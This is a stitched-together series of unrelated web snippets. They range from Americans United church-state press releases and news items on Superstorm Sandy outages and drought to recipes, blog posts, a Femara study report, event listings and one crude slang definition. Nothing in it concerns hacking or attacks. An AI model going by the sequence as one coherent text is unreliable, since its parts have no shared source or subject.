Anti-Feminist Religious Right Figure Phyllis Schlafly Dies At Age 92
AU Sends Letters Reminding Churches To Remain Non-Partisan
S.C. County School Board May Reinstate Vocal Prayer After Pressure From Lawmakers
Fla. Court Refuses To Allow Voucher Challenge To Move Forward
Texas Church Pays $400,000 To Settle Case Over Political Activity
Federal Appeals Court Rules Marine's Religious Freedom Rights Were Not Violated
Tenn. Official Says He Won't Perform Same-Sex Marriages
Pulpit Politicking – A Threat To America's Houses Of Worship
Values Void – Some Thoughts From The Pit Of The Summit
Controversial Charter: A Tax-Funded Ariz. School Is Off Track
Press Releases
Sep 30, 2016
Americans United Applauds Ala. Chief Justice Roy Moore's Suspension For Defying Marriage Equality Ruling
Moore Found Guilty Of Ethics Violations, Barred For Remainder Of Term Without Pay
Sep 29, 2016
Victory: Americans United, Allies Obtain Ruling Permanently Enjoining Nevada Voucher Program
State Supreme Court Freezes Funding For Massive 'School Choice' Scheme
Sep 19, 2016
Federal Court Denies Public School Coach's Request To Pray With Students
Bremerton High School Assistant Football Coach Joe Kennedy Loses Round In Court
Sep 8, 2016
Religious Right Support For Donald Trump Exposes Movement's Values Void, Says Americans United
Family Research Council And Other Groups Would Excoriate A Democrat Who Had GOP Candidate's Background, Says Church-State Watchdog
Sep 7, 2016
Ariz. Public Charter School Promotes Religion, Americans United Says In Lawsuit
Heritage Academy In Mesa And Other Communities Teaches Faith Instead of Government, Says Church-State Watchdog
Aug 25, 2016
Pa. House Of Representatives Can't Discriminate Against Non-Theists, Americans United And American Atheists Say In Lawsuit
Legislative Body's Exclusionary Invocation Policy Is Unconstitutional, Church-State Watchdogs Assert
Aug 12, 2016
Americans United Settles Lawsuit Over New Jersey Atheist's Custom License Plate
Church-State Watchdog Group Lauds End Of Discrimination Against Non-Believers
Aug 10, 2016
Federal Court Correct To Dismiss Former Marine's Bogus Religious Freedom Claims
Monifa Sterling's Actions Merited Bad-Conduct Discharge, Church-State Watchdog Says
Jul 19, 2016
GOP Call To Repeal Ban On Church Politicking Is 'Reckless And Corrosive To Religious Life,' Says Americans United's Lynn
Changing Federal Law Could Dramatically Escalate Partisan Activity In Houses Of Worship, Church-State Watchdog Says
Jul 7, 2016
Mass. Town Should Not Use Public Funds to Support Its Churches, Americans United Says In Lawsuit
Historic Status Of Buildings Is Not An Excuse To Subsidize Religion With Taxpayer Funds, Group Says
Jul 5, 2016
Mo. Church Has No Right To Taxpayer Funds, Americans United And Allies Tell U.S. Supreme Court
High Court Should Uphold State 'No-Aid' Clauses, Coalition Says
Jun 28, 2016
U.S. Supreme Court Was Right To Refuse To Hear Wash. Contraception Case Raising Phony 'Religious Freedom' Argument
Pharmacists Cannot Use Religious Beliefs To Deny Patients Needed Medication, Group Says
Jun 14, 2016
Americans United Staffer Honored For Religious Freedom Work In Georgia
Legislative Director Maggie Garrett To Receive Award From LGBT Rights Group
Jun 10, 2016
Americans United Executive Director Responds To Trump Address On 'Religious Liberty'
Jun 8, 2016
Federal Court Was Right To Issue Permanent Injunction On Ala. Marriage-Equality Ban, Says Americans United
State Officials' Reluctance To Follow Supreme Court Ruling Necessitated Order, Says Church-State Watchdog
May 26, 2016
Landmark Ruling Stops Unconstitutional Taxpayer Funding of N.J. Yeshiva and Seminary After ACLU And Americans United Suit
Court Rules That Christie Administration's $11 million+ Grant To Religious Schools Violated NJ Constitution
May 25, 2016
ACLU, Americans United Challenge Lawsuit Attempting to Circumvent Colorado Supreme Court School Voucher Ruling
May 17, 2016
Columbus, Ohio, Student Wins Americans United Church-State Separation Essay Contest
Religious Liberty Watchdog Also Recognizes Submissions From Students In Georgia And Wisconsin
May 16, 2016
Supreme Court Non-Decision Could Leave Many Women Without Secure Access To Birth Control, Says Americans United
Justices Delay Dealing With Crucial Issue
Apr 25, 2016
Colo. Supreme Court Correct To Refuse To Hear Baker's Lawsuit
Cake Shop Owner Had No Constitutional Right To Deny Services To LGBT Residents, Church-State Watchdog Says
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Oct 2, 2016
Atlanta Chapter presents the Rev. Barry Lynn
Atlanta, GA
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Southern Nevada Chapter presents "Religion and Public Schools"
Las Vegas, NV
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Orange County Chapter presents "Keeping Sacred Spaces Sacred"
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Oct 16, 2016
Greater Phoenix Chapter presents the Rev. Barry W. Lynn
Phoenix, AZ
Oct 20, 2016
The Rev. Barry W. Lynn speaking in San Francisco
San Francisco, CA


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Well, I'm happy to report good news for my three month weigh in. 246 lbs, which means a loss of 30.4 lbs, 10 per month. I've seen a lot of faster losers here, but I'm plenty happy with that progress. Especially since I haven't been super-dedicated to primal eating (though I probably do meet the 80% threshold).
Goals for April: (1) 4 cheats - Anniversary dinner this Friday, Sunday Easter dinner at a friends, and wife's birthday dinner. (2) Less grazing. I've been eating dark chocolate, blueberries, apples, little bites of cheese, almonds, pickles, etc. between meals. In April, I'm going to aim to satiate myself better during meals, and snack less. If I really need a snack, I will go for high protein filling stuff like hard boiled eggs or a can of tuna or salmon. (3) Exercise. I have walked a ton in the last three months, but done little else. Time to incorporate some running and body weight exercises. I've also purchased a local Crossfit Groupon, so I'll start using that sometime soon as well.
OK, on to the update pics:
For whatever reason, I'm not seeing a lot of progress, but that's ok. My clothes definitely are fitting better, and just in the last week, I've gotten a number of comments from people who noticed my progress (10% rule?). Here are comparison pics, which look weird due to different lighting and different perspectives. Next month, I'll try to get the wife to match the original perspective better.
I'm hoping to lose 8+ in April. Hope everyone else does too (that needs to). Cheers!


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If you pay any attention to hurricanes, you probably are well familiar with the likes of Alberto, Beryl, Chris, and Isaac.
Now, are you ready for Athena, Brutus, Caesar, and Iago? Those are the names that the Weather Channel plans to hang on winter storms this season.
The nation's biggest commercial weather player announced today that it would start naming winter storms with the winter of 2012-13, similar to how the National Hurricane Center has designated hurricanes during the last six decades.
Why bother? In its release, the Weather Channel said the naming "makes communications and information sharing easier, enabling consumers to better understand forecasts that could significantly affect their lives.


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Report: Room for Pa. oil, gas oversight to improve
PITTSBURGH -- Pennsylvania's oil and gas drilling regulations are well-managed overall. However, there are several key areas that could be improved, according to a review released Monday by a group financed by the federal government and industry organizations.
A six-person team from the State Review of Oil and Natural Gas Environmental Regulations Inc. found state regulations generally meet or exceed a basic set of national guidelines.
But the review also said water protection standards could be improved, that some oversight programs still don't have enough staff to deal with the recent boom in shale gas drilling, and that public information online isn't user-friendly.
"This review demonstrates that the oil and gas industry in Pennsylvania is matched by world-class oil and gas management and regulations," said Department of Environmental Protection Acting Secretary Chris Abruzzo..
One member of the team said the public should be aware that it was a technical review of existing rules, not a list of everything needed to regulate the industry.


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GEN News Highlights : Jan 5, 2007
Helix BioPharma signed an agreement with BioVectra to manufacture L-DOS47 bulk drug product for clinical testing in patients with adenocarcinoma of the lung. "BioVectra is a natural choice for our clinical manufacturing program requirements because in addition to their high calibre capabilities in the cGMP production of biopharmaceuticals, they are also one of the largest North American producers of the urease substance at the heart of our L-DOS47 drug product," notes John Docherty, Helix' vp of corporate development.
During 2007, Helix intends to complete the remaining preclinical animal testing work with L-DOS47, in parallel with finalizing its clinical manufacturing activities.
© 2016 Genetic Engineering & Biotechnology News, All Rights Reserved


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« Rip DVDs for iPod Video | Main | Monitor your Google Page Rank »
Getting Search Engine Rank [SEO Wed. Vol.2]
This is the second installment of the newly created SEO Wednesday column here at gbradhopkins.com. As a recap, we will be discussing some techniques (mostly White Hat) that can be used to optimize your website for the major search engines and increase traffic. Tonight we will set a baseline for our current search engine rankings and start to tackle the HighRankings.com list that I mentioned last time.
(View other gbradhopkins.com web design tutorials)
The Stats
I'm using a program called Advanced Web Ranking by Caphyon Software to check the position of my website for various keywords. Using this program I can judge not only where my site ranks, but also how competitive the space, that I'm attempting to optimize my site for, is.
For example, by using AWR, I can tell that there are roughly 8 million results for the keywords "windows tutorials" and 429,000 results for "quicktime tutorials." This gives me a ballpark idea of how much competition there is.
The keywords that I picked for my site are the keywords that I think are related to the site. They are web design tips, mac tips, mac tutorials, pc tips, ask me, computer how to, mac, quicktime tutorials, windows tutorials, web design tutorials and gbradhopkins. Like I said, those are the keywords that I think are related to the site. In future SEO Wednesday articles we will look at some Keyword Density Analyzers to see if the keywords that I think are related to the site is reflected in the content of the site.
Here is a link to the Keyword Overview Report generated by AWR. View Report. A quick look at the report reveals that I have really no rankings at all for any of my keywords beyond "mac tutorials" in DMOZ and "gbradhopkins" in all of the search engines. The good news is that the site is at least listed in each of the engines. Its a start.
If your site is not listed in any of the search engines then I would suggest that you submit the site to Google, and suggest it to the DMOZ directory. That's where you would start.
Now, on to the HighRankings.com list.
1. Do not purchase a new domain unless you have to. My site has been running at gbradhopkins.com for some time so this does not necessarily apply to my situation. But, I did run the website on my .Mac server and a copy of the site remains there at this time. If you are starting fresh, then you have no choice but be patient. When it comes to SEO you have to be patient. The HighRankings.com list indicates that the wait is 9 - 12 months before your website shows up for the keywords that you want.
At this point I'm going to stop for this post. Next week we'll continue with our list and see if we've made any progress on our Search Engine Rankings.
I've decided to upload my AWR report to the server after each update for all to view. gBradhopkins.com Advanced Web Ranking Report
Special Offer: If you would like me to check your rank with AWR, use the AskMe Form or the comments box below to provide your URL and keywords that you would like checked and I'll check the major search engines for you and will provide a report to you (if you provide email address).


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Back to the 1up
Back to the 1up
Jun 18, 2007 10:53AM PST
It sure has been awile since my eyes have graced the scree on of my 1up page. It definently feels good to see the evolution of next gen gaming at hand. Since my last visit, I have bought an Xbox 360 and played the Nintendo wii. I have also purchased a 17 inch Macbookpro on Tuesday, and it constantly blows me away. I also got my very first ipod (80g) and love puting all sorts of tv shows,movies, and music videos on it. Another super plus was GRADUATING from college in May ( Graphic Design Major with Minors in Computer Graphics, Animation, and Telecommunications). So I am out in the real world with my first job out of school. I joined as an associate for (Freedom Communications). I build two newspapers at the moment, but I am headed for much bigger things. One thing that is a plus, is the fact that I create a new product everyday that is mass produced (for the most part). Well I am a single guy that also has way to much time on his hands, so gaming keeps me occupied when i'm not designing or animating. I'll be updating blogs more often, so visit me and say hello. =)
Comments (0)


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NEW YORK Even as the lights came for many who lost power in New York and New Jersey during the superstorm and a later noreaster, hundreds of residents protested Saturday outside a Long Island utility, frustrated by its slow response to the power outages.
Power restoration has been slower on New Yorks suburban Long Island than in other areas hit by Superstorm Sandy, sparking criticism of the Long Island Power Authority. Nearly 138,000 homes and businesses there still didnt have power Saturday, LIPA said.
About 300 people staged a rally in front of LIPAs office in Hicksville, N.Y. Not all were without power, but some who have power said they were there to protest LIPAs lack of communication.
We are sitting in a cold house. No one comes by, said John Mangin of Levittown, N.Y. There should be criminal charges against the CEO and the executive board of LIPA for failure to do their jobs.
The utility scheduled a news conference for later Saturday to address complaints.
New York Gov. Andrew Cuomo has called for investigation of the regions utilities, criticizing them as unprepared and badly managed. On Friday, two congressmen from Long Island called for the federal government to help LIPA restore electricity.
Its a totally disorganized effort, and LIPA unfortunately seems to have lost control of the situation and thats why you see so many people becoming so angry, Rep. Peter King said Saturday.
In New York City and neighboring suburban Westchester County, utility Con Edison said it has restored electricity to 98 percent of homes and businesses. About 20,000 of the utilitys customers remained powerless, down from a peak of more than 1 million.
In New Jersey, more than 100,000 customers were without power Saturday, most along the coast, utilities said. That was down from 2.7 million at the height of the storm. Most service was expected to be restored by the end of the weekend.
Those figures dont include tens of thousands of homes too damaged to juice up in the hard-hit New York City borough of Staten Island and on New Jerseys barrier islands.


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MANY OF TODAY'S LEADING MANUFACTURERS make base-layer garments to wear under your equipment. When fitting all other hockey equipment, the same base layer clothing or undergarments should be worn to ensure proper sizing.
- Most base-layer clothing fits like a second skin and helps moderate your body temperature. Snug-fitting base layers will help improve the fit of your pads as well as increase mobility.
- Base layers that bunch or gather in any area will not enhance your performance; rather, it will hinder it.
- Some base layers include rubber grip pads that help keep your shoulder and elbow pads in place and prevent them from slipping up or down your arm.
- Most base layers are made of light-weight fabrics that do not hold moisture and weigh you down.
- Depending on personal preference, you can choose between long and short base layers in tops and bottoms.
- The jock strap should be fitted according to waist size and should feel comfortable to the player.
- If any strap or fabric gets torn, it should be repaired or replaced immediately.
When opting for undergarments, they should be light, cool and comfortable. Players can choose between loose and tight fit for both upper body and lower body undergarments. Selection comes down to personal preference. Garments that are a 50/50 cotton/polyesterblend offer maximum ventilation and comfort.
Question: What is best for players to wear under their pads? I've seen everything from nothing to street clothes.
Answer: We, too, have seen kids strip down to literally nothing before donning their pads, and others pile pads on top of their bulky sweatpants. Does it matter? On the one hand, what a player puts on under his or her pads—known as the "base layer"—is a personal preference. On the other hand, there are clear benefits to wearing a snug, lightweight, moisture-wicking, long-sleeve shirt and long pants under pads. The base layer improves the fit of the pads, helps moderate body temperature, and puts a barrier between the skin and any bacteria festering on the pads. A base layer that bunches up under pads, the way street clothes might, can hinder performance.


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North American Obsidian
Obsidian, natural glass formed during volcanic eruptions, was an important raw material in prehistory worldwide. Obsidian was prized for tool making for a number of reasons, including its workability, sharpness, and visual appeal. Consequently, prehistoric peoples went to great lengths to obtain obsidian, often from very distant sources. For archaeologists, obsidian is a powerful tool for understanding prehistoric economy and interaction, because individual obsidian outcrops are usually spatially discrete and chemically distinct from one another. During the 1960s, arLearn more about North American Obsidian


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Everyday Paleo's crockpot meatballs... They have become a staple in my kitchen.
Marvelous Meatballs! | Everyday Paleo
I've got to where I've dropped the almond meal and sometimes substitute kale or spinach (or whatever I have on hand) for the celery and carrots.. Only problem with them is that I wind up eating 3 lbs of meatballs within 24 hours of making them.


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Rangers GM Glen Sather (fresh off his Caribbean cruise) briefly spoke to a few reporters Sunday afternoon before the Rangers dog walk charity event on the topics of collective bargaining & Del Zotto's contract status as well as Rick Nash & the unsigned crop of free agents around the league. Here are some of the highlights, followed by the clip provided by Blueshirts United…
Re: ongoing CBA negotiations
Sather: " I think it'll play itself out, one way or the other." Sather went on to way that he's "always optimistic" but that optimism is based "purely on stupidity."
Not exactly earth-shattering news by any stretch. I think he knows in his heart that the NHL is heading for a lockout but there is only so much the executives of the NHL can divulge at the moment.
Re: offseason to date/Rick Nash
Sather: "I think its been terrific, its not very often you get an opportunity, to sign somebody or make a deal like Nash."
Absolutely stunning that Sather was able to keep his top prospects from going to Columbus. Erixon is no slouch, but in the end he couldn't beat out Stu Bickel for the sixth defenseman spot and became expendable.
Re: Del Zotto's contract
Sather: "He'll come to his senses. We've been down this road before with guys who've just come out of their entry level contracts, we've offered them a fair contract… we'll have to see if it changes in the CBA."
If that isn't a small swipe at Dubinsky, I don't know what is. You can't blame Glen for playing hardball and waiting out a players' contract demands. The wait and see approach has worked for Sather in the past and will probably work again. Sather later implied that he is holding steadfast with his offer right now with Del Zotto and that offer will remain on the table.
Re: remaining unsigned UFA's & RFA's
Sather: "There are still some guys that have to be signed, but no one is really talking to the players anymore right now."
That'll upset the twitter "hockey insiders".
Follow me on twitter: @theNYRblogneill


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So Long, Farewell, Goodbye
Well, my time here at WOKQ has come to a close.
Well, my time here at WOKQ has come to a close.
Hey boys and girls, wanna know where Santa is right now?
Dang it! Roy Sullivan from "The Big Drive Home" spotted me hanging around this afternoon. I knew I was pushing my luck sneaking in the studio when he wasn't looking.
Well, I needed to find a ride to the North Pole last night, so I sprinkled some magic elf dust on Brandy, The Morning Waking Pooch and off we went!


text: Welcome Welcome to our ACGME-accredited ophthalmology residency. Presently, our program is fully accredited through Oct. 31, 2016. We match two residents each year for a three-year training program. Our program provides a robust learning environment that facilitates a good mix of patient care, education and research. Our mission is to provide the residents not only the best possible education in the science of ophthalmology, but to train excellent professionals with high ethical standards and values. The department is well-equipped with the most modern, state-of-the-art diagnostic and therapeutic instrumentation to deliver quality care while training residents. The outstanding features of our program are: High volume of patients and surgical experience Daily mandatory didactics for all residents with protected time Dedicated teaching faculty with a commitment to training residents Experience in research and practice management Experience in patient billing, coding, and clinic administration Pioneers in applications of 'web education' "Residents as Educators" program Ophthalmology residents are selected on the basis of medical school performance, USMLE scores, relevant research experience, letters of recommendation, and motivation to join the program. The deadline to apply is October 1st of each year. In addition to the above professional opportunities, Jacksonville is an ideal place to live and work. It is home to abundant beaches, unlimited outdoor sports, and the National Football League's Jacksonville Jaguars. We know this is one of the most important decisions of your professional career. We invite you to explore our site in its entirety. Feel free to contact us if you have any questions or need additional information.


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Cheese Crostini with Anchovy Herb Butter
- 1/4 cup (1/2 stick) butter
- 4 anchovy fillets, drained, chopped
- 1 to 2 tablespoons chopped fresh Italian parsley
- 1 teaspoon chopped fresh thyme leaves
- 1 teaspoon minced garlic
- 1/2 teaspoon minced lemon zest
- 1/4 teaspoon dried crushed red pepper flakes
- 12 (2 by 1/3-inch thick) slices rustic crusty white bread
- 1 cup grated Provolone
Preheat oven to 425 degrees F.
Melt the butter in a heavy small skillet over medium heat. Add the anchovies and stir until they dissolve, about 3 minutes. Stir in the herbs, garlic, lemon zest, and crushed red pepper.
Arrange the bread slices on a large baking sheet. Brush with the anchovy mixture. Sprinkle with the cheese. Bake until the cheese melts and the bread is golden, about 10 minutes. Cut the bread slices in halves and serve.
Recipe courtesy of Giada De Laurentiis
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Sweet Pea Salad and Ricotta Cheese Crostini
Recipe courtesy of Aaron McCargo Jr.
Goat Cheese and Asparagus Crostini
Recipe courtesy of Valerie Bertinelli


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Six Sigma for the Expert (3)
Classification: Parallel
This course provides an introduction to the basic principles and theories of Six Sigma as used in the continual improving process. The course examines the tools most common to Six Sigma projects and how and when to use them. The focus of the course is on measurement methods, data collection, data integrity, and graphical methods of presenting findings.


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Masturbating while pooping. Killing 2 turds and 1 bone. The splooge deuce can be enjoyed by both males and females. It is most enjoyable when you time your orgasm as you pinch a turd off.
My girlfriend and I were making out but because of her menstrual cycle and the diarrhea that accompanies it, we could not make love that night so instead we went into the bathroom together and watched eachother enjoy a splooge deuce.
by Yahoo! Answers Phil J January 01, 2009
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Record-breaking heat is damaging crops across the country, and 15 states are under heat advisories Wednesday.
Many rivers are now at their lowest levels in years. The mighty Mississippi was 23 feet higher in Baton Rouge this time last year.
Forecasters say 80 percent of the country is unusually dry. They are calling it the largest natural disaster in U.S. history.
The governor of Missouri declared 114 counties a disaster area because of the drought.
"This has been the hottest, driest summer that I can remember. Now my father says that 1936 was drier, but then I was only 2 years old," farmer Charles Hurst said.
The extreme heat and lack of rain in the Midwest have hit corn, wheat, and soybean crops especially hard.
"You look at all of the Midwest that's facing this unprecedented drought, conditions like we haven't seen in nearly 120 years," Dr. Jon Hagler of the Missouri Department of Agriculture said.
The drought is likely to lead to higher food prices.
Triple-Digit Temps Threaten Nation's Crops
Felon Farmers? Law Criminalizes Legitimate Businesses
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Next Slideshow:
New Mexico's Most Wanted
1907: Actress Barbara Stanwyck, best known for movies like "The Lady Eve" and "Double Indemnity," is born Ruby Catherine Stevens in Brooklyn, New York. Stanwyck received Oscar nominations for "Double Indemnity," "Stella Dallas," "Ball of Fire" and "Sorry, Wrong Number." Following her movie career she moved on to television, starring in her own anthology drama series before landing a lead role in the Western series "The Big Valley," winning an Emmy for each. She later won a third Emmy for her role in the miniseries "The Thorn Birds." She died at age 82 on Jan. 20, 1990, of congestive heart failure and chronic obstructive pulmonary disease.
The nation's capital is founded, the world gets its first parking meter, Joltin' Joe sets an unbreakable record, and man heads to the moon, all on this day.


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Carnegie Mellon University PhilharmonicUnder the direction of Andres Cardenes, the Carnegie Mellon University Philharmonic will feature Joshua Burca on Jean Sibelius's Violin Concerto in D Minor. Also on the program: Maurice Ravel's Alborada del gracioso, Veljo Tormis' Overture #2, and selections from Sergei Prokofiev's orchestral suites from Romeo and Juliet.09/14/2014Time: 7:30 pmCarnegie Music Hall, 4400 Forbes Ave., Pittsburgh, PAwebsite | map
Symphony EastA meeting of Symphony East, an affiliate of the Pittsburgh Symphony Orchestra, will have entertainment provided by a brass quartet featuring the PSO's Charles Lirette and Chad Winkler, trumpets; James Nova, trombone; and Joseph Rounds, horn.09/15/2014Time: 1:00 pmLocation: Redstone Highlands, Cline Hollow Rd, Murrysville, PA
Pittsburgh Chamber PlayersThe Pittsburgh Chamber Players play Brahms's Clarinet Quintet, Dvorak's Piano Quintet in A Major with its famous slow "Dumka" movement, and the world premiere of David Stock's "Klezmer Dreams." Members include Noah Bendix-Balgley & Jennifer Orchard, violins; Marylene Gingras-Roy, viola; Lorna McGhee, flute; Ron Samuels, clarinet; Mikhail Istomin, cello; and Eugene Sirotkine, piano.09/16/2014Time: 8:00 pmRodef Shalom, 4905 Fifth Avenue, Pittsburgh, PAwebsite | map
Improvised Shakespeare CompanyBased on one audience suggestion (a title for a play that has yet to be written) The Improvised Shakespeare Co. creates a fully improvised Shakespearean masterpiece right before your very eyes! Each of the players has brushed up on his "thee's" and "thou's" to bring you an evening of off-the-cuff comedy using the language and themes of William Shakespeare.09/18/2014Time: 7:30 pmLocation: Chatham University Eden Hall Campuswebsite
Secondary Cause of DeathBy Peter Gordon. If you thought 'Murdered to Death' was funny, just wait till you see this! Inspector Pratt arrives at Bagshot House with grim news for Colonel Craddock, but that's just the beginning. Who is the strange Polish Count? Is Henrietta really an army Captain? How does the eccentric thespian, Longfellow fit in to the equation? These and other characters make Pratt's return a chaotic nightmare as the bodies pile higher and higher.09/18/2014 - 09/28/2014Apple Hill Playhouse, 275 Manor Rd., Delmont, PAwebsite | map
Two Trips Music Director Manfred Honeck begins the season with the lovesick Hector Berlioz's opioid hallucinations in the visionary Symphonie fantastique. Also, YouTube phenom Valentina Lisitsa returns to display her virtuosity in Rachmaninoff's Rhapsody on a Theme of Paganini. The program opens with another kind of trip, back to the boyhood summers of the young American composer Mason Bates, via his "Rusty Air in Carolina."09/19/2014 - 09/21/201409/19 - 7:30 pm09/20 - 7:30 pm09/21 - 2:30 pmHeinz Hall, 600 Penn Ave., Pittsburgh, PAwebsite | map
The Elixir of LoveThis artist-driven performing arts company presents one of opera's most popular romantic comedies, Donizetti's The Elixir of Love. This production transforms the White Studio into "Adina's Cabaret" with the audience at the center of the action for an immersive opera experience. Performed in Italian with English supertitles. Maria Sensi Sellner conducts.09/19/2014 - 09/21/201409/19 - 8:00 pm09/21 - 3:00 pmLocation: George White Studio, Pittsburgh Opera, 2425 Liberty Ave., Pittsburgh, PAwebsite
The Beethoven Piano Sonatas: Program 1Pianist Walter Morales begins his complete cycle of Beethoven's piano sonatas at Chatham University with the Sonata #1 in F minor, Op. 2 #1; Sonata #24 in F sharp major, Op. 78 "A Therese"; and Sonata #21 in C major, Op. 53 "Waldstein".09/19/2014Time: 4:00 pmLaughlin Music Center, Chatham University, Pittsburgh, PAwebsite | map
Ligonier Highland GamesWith the sound of pipes and drums, the 56th annual Ligonier Highland Games continues the centuries-long tradition of the Clans of Scotland coming together to celebrate in song and storytelling, to compete in dance and heavy athletics, and to socialize.09/20/2014Time: 9 am - 6 pmLocation: Idlewild Park, Rt. 30, Ligonier, PA
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WARREN - Five dead dogs and four dead kittens were removed today from the Warren home of Tiffany Charlton this morning by the Animal Welfare League of Trumbull County.
Debbie Agostinelli, of the Animal Welfare League, described the scene as "pretty grim," saying when she are others from the league came out to the house in the morning, they found the dead dogs inside the house on couches and found the dead kittens in a crate outside.
Agostinelli said the next steps will be examinations of the animals to determine their cause of death, followed by legal actions which she said she would like to file for each animal found. According to Agostinelli, the maximum punishment by law for the animal cruelty is $750 fine and 90 days in jail.
This is not the first time Charlton has been involved with animal abuse allegations. She was given until Sept. 28 to reduce the number of dogs in her house, which had been eleven, down the the legally allowed maximum of four by the Warren Deputy Health Commissioner.
Animal Welfare League also removed one dog that was alive from the house for assessment. Charlton was not at home to comment and according to her neighbor has not been answering any phone calls.
Read more in Thursday's Tribune Chronicle or at tribtoday.com


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Breast Cancer Health Center
Femara Benefits Younger Women With Breast Cancer
Oct. 17, 2005 (Denver) -- Most women with breast cancer do not need to take the breast cancer drug Femara after completing five years of standard tamoxifen treatment, researchers report.
In a new study, only the 30% of women with factors placing them at high risk of recurrence when they first started tamoxifen treatment would have benefited from taking Femara afterward, says researcher Gary Freedman, MD, a radiation oncologist at Fox Chase Cancer Center in Philadelphia.
Ever since a landmark study showed that Femara can reduce the risk of breast cancer coming back by about 40% in women previously treated with tamoxifen, "it's become common practice to automatically start women on Femara after completion of tamoxifen," he tells WebMD.
"But our analysis suggests it shouldn't be automatic. Treatment needs to be individualized." The study showed that women who were younger than 60 or whose cancer had spread to four or more lymph nodes at the time they started tamoxifen had the most to gain from Femara, he says. Both younger age and involvement of four or more lymph nodes are risk factors for recurrence; together they accounted for about three in 10 women studied.
On the flip side, women over age 60 and who have other health conditions should probably not be given the drug, he says.
The study showed that many of these women died from causes other than breast cancer in the 10 years after they first started taking tamoxifen, he says.
Richard Poetter, MD, a radiation oncologist at the University Clinic for Radiotherapy and Radiobology in Vienna, Austria, and a speaker at the cancer meeting, says the researchers raise "an intelligent hypothesis that should be tested further."
Given the side effects and cost of any treatment, "it's a good idea to try to figure out who will benefit most and who might not have as much to gain," he tells WebMD.
Side effects of Femara include muscle and bone pain, hot flashes, nausea, and headaches. More serious adverse reactions include blood clots, stroke, heart attack, and fractures.
But until the findings are confirmed, current evidence shows that doctors should discuss the risks and benefits of Femara and similar drugs, called aromatase inhibitors, with all eligible women who complete five years of tamoxifen therapy, Poetter says.


text: Linguist's door opener11 July 2013 by Kerstin Hoppenhaus, posted in Corridors, Linguistics It seems that linguists have a reputation of being not too practical. But I must say: it is on the linguists' floor where this little door opener carries on his duty.Tags: #corridors One Response to "Linguist's door opener" Annelie 12 July 2013 8:29am Reply | Permalink Is he banging his head? Leave a ReplyClick here to cancel reply. Name (required) Email (will not be published) (required) Website Comment six × 1 =


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Our family of schools is truly global, with 160 private and independently owned schools spanning 52 countries.
Each has its own unique flavour, but all are inspired by one common aim: the very highest standards in language education.
Want to hear about what IH schools have been up to recently? The latest edition of the IH Inter-schools newsletter is out now with updates on… More
We are very pleased to share the latest issue of the IH Journal with you. Issue 40 - July 2016 is now online and you can read it at:… More


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Even as its past policies on sex-abuse prevention fuel controversy, the Boy Scouts of America is hosting an unprecedented closed-door symposium Thursday with other national youth organizations, hoping to share strategies to combat future abuse.
BOWIE, Md. - Irene Huskens has the wedding venue picked out: a charming bed-and-breakfast in southern Maryland. But the wedding is no sure thing.
BOWIE, Md. — Irene Huskens has the wedding venue picked out: a charming bed-and-breakfast in southern Maryland. But the wedding is no sure thing.
The plans made by Huskens, a 43-year-old police captain, and her partner, Leia Burks, hinge on whether Marylanders make history on Nov. 6 by voting to legalize same-sex marriage. A "yes" vote, and the wedding is on. A "no" victory? Huskens is loath to consider it.
NEW YORK — Of the four openly gay members of Congress, the two longest-serving stalwarts are vacating their seats. Instead of fretting, their activist admirers are excited about a record number of gays vying to win seats in the next Congress — and to make history in the process.
When the oaths of office are taken in January, Congress could have its first openly gay Asian-American, Mark Takano of California; its first openly bisexual member, Kyrsten Sinema of Arizona; and its first openly gay senator, Tammy Baldwin of Wisconsin.
■ The issue:
On one aspect of whether same-sex couples should have the right to marry, both sides agree: The issue defines what kind of nation we are.
NEW YORK (AP)— They are images Americans had never seen before. Jubilant young men and women in military uniforms marching beneath a rainbow flag in a gay-pride parade. Soldiers and sailors returning from deployment and, in time-honored tradition, embracing their beloved — only this time with same-sex kisses.
WASHINGTON - The Democratic National Convention is a watershed event for America's gay-rights movement, which never before has been embraced so warmly by a major political party.
NEW YORK - Criticizing major players on both sides, former Susan G.
NEW YORK (AP)— Criticizing major players on both sides, former Susan G. Komen for the Cure vice president Karen Handel has written a blistering insider's account of the prominent cancer charity's decision to halt grants to Planned Parenthood and its swift retreat in the face of an intense, widespread backlash.
NEW YORK - When it comes to gays and the Boy Scouts, President Barack Obama and the youth organization he serves as honorary president have agreed to disagree.
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Hiya all,
I've just found out about this list, and am currently in the process of
reading the archives.
A quick question... is it possible to set up the list so that the
reply-to tag is the mailing list e-mail address?
A quick introduction... I am director of a company that specialise in
interactive 3D visualisations of product designs, either online or
offline. We typically implement interactive 3D visualisations for other
teams ( eg who produce the CAD drawings, or who have 2D sketches etc ).
You can see a few of our demonstrations here...
- Take a look at the 3D car ( open windows, doors, sunroof ), change
colours etc
- Also, the 3D toy box ( push buttons, draw on the side, open the lid etc )
and some WIP ones here...
I look forward to taking part on the discussions on the list!
Oops...posted this to the wrong e-mail address... (
discuss-interactiondesigners.com at lists.interactiondesigners.com instead
of discuss at ixdg.org )